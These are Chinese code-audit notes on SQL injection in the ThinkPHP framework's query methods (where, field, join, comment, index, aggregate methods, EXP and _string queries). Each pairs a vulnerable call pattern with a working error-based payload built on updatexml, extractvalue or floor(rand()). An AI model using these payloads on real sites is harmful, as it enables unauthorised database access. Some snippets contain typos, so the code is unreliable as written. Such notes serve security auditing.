where注入
以字符串的方式将条件作为where0方法的参数的时候就会产生SQL注入
M('user')->where('id='.I('id'))->find();
提交 payload
and 1=(updatexml(1,concat(0x3a,(user())),1))%23
如果是数组查询进入parseType方法分析,数组的val值会被转成int
table方法
一般情况下,操作模型的时候系统能够自动识别当前对应的数据表,用到table方法的场景就是切换数据表查询
$map['tab']= I('tab').M('user")->table($map)->where('1=1')->find():
field注入
Field方法操作表中字段,限制查询返回的结果,
M('user')->field(array('id','username'))->select();
只要field方法里的参数可控,不管是数组还是字符申,都是可以被注入的。
M('user')->field(array('id','username'=>'uname'))->select();
alias,join,union 方法
alias用于设置当前数据表的别名,便于使用其他的连贯操作例如join方法等。
Alias方法 操作表的别名,和field方法用法类似。
它一般和join方法成对出现,用于对数据的连贯操作
出现join和union方法的时候,只要能控制参数一般情况下都会产生注入。
(select 1 from (select count(*),concat(floor(rand(0)*2),(substring((select(user())),1,62)))from information_schema.tables group by a)b)
group方法
$data = M('user')->field('max(score),username')->group('score')->select();
dump($data);
having 方法
$data = M('user')->field('max(score),username')->group('score')->having('score>1')->select();
dump($data);
comment,index方法
- comment 方法
COMMENT方法 用于在生成的SQL语句中添加注释内容
$data = M('user')->comment('a')->where('1=1')->find();
$dump($data);
Payload:*/procedure analyse(extractvalue(rand().concat(0x3a,user())),1);%23
- index方法
index方法用于数据集的强制素引操作,对查询强制使用userid素引,userid必须是数据表实际创建的索引名称。
$data = M('user')->index('userid')->select();
$dump($data);
Payload:*/procedure analyse(extractvalue(rand().concat(0x3a,user())),1);%23
query,execute,聚合方法
query方法;
$data = M()->query('select * from thinkphp_user');
dump($data);
excute方法
$data = M()->execute("update thinkphp_user set username='user' where id=1");
聚合方法
count,max,min,avg,sum这五个方法注入场景类似
$data=M('user')->count(I('parameter'));
dump($data);
注入方式:
and 1=(updatexml(1,concat(0x3a,user())),1);%23
EXP注入
$map=array();
$map['id']=I('id');
$data = M('user')->where($map)->find();
dump($data);
id=[0]==11 and 1=(updatexml(1,concat(0x3a,(user())),1))%23
Action注入
一般审计的时候先董找1方法或者$_GET,$_POST等原生态的请求,从而容易忽略掉Action参数传入的变量
组合注入
组合查询的主体还是采用数组方式查询,只是加入了一些特殊的查询支持,包括字符串模式查询(_string),请求字符串查询(_query)
_string注入
数组条件可以和字符串条件(采用_string作为查询条件)混合使用